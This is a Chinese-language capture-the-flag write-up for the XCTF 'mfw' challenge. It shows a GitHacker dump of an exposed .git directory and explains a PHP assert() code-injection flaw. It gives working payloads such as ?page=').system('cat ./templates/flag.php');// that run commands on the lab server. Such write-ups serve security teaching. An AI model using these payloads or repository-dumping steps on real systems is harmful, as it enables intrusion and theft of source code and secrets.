本人24小时在线,如有疑问,可联系我!
攻防世界mfw
题目
猜?
页面源码
右键,查看页面源码!
这不就是了?文件包含?文件上传?
看看后台目录(我的习惯)
什么也没有哦!
使用git
工具githacker
python3
kali里面打开就可以了
pip3 install -i https://pypi.org/simple/ GitHacker
githacker
githacker --url http://61.147.171.105:64962/.git/ --output-folder /home/kali/
把文件下载下来
打开flag.php。
能做到这里很不错了。借鉴了一下别人的文章。说注释掉了。
先看看这个
<?php
if (isset($_GET['page'])) {
$page = $_GET['page'];
}
else {
$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
解释一下:
assert()函数其实是一个断言函数。
assert:
这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
assert ( mixed $assertion [, string $description ] ) : bool
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到则返回flase.
由于文件并没有对输入的字符进行过滤,所以可以进行语句闭合修改语句原本的意思,构建的payload: /?page=');//
#双斜杠 " // " 在php中表示注释
已知目录,就不用再查了(还记得吗?:不再用system('ls+xxx')回显路径
)。
构造语句:?page=').system(‘cat+./templates/flag.php’);//
答案正确。
总结
这题考察PHP代码审计的能力,以及.git源码泄露的知识点。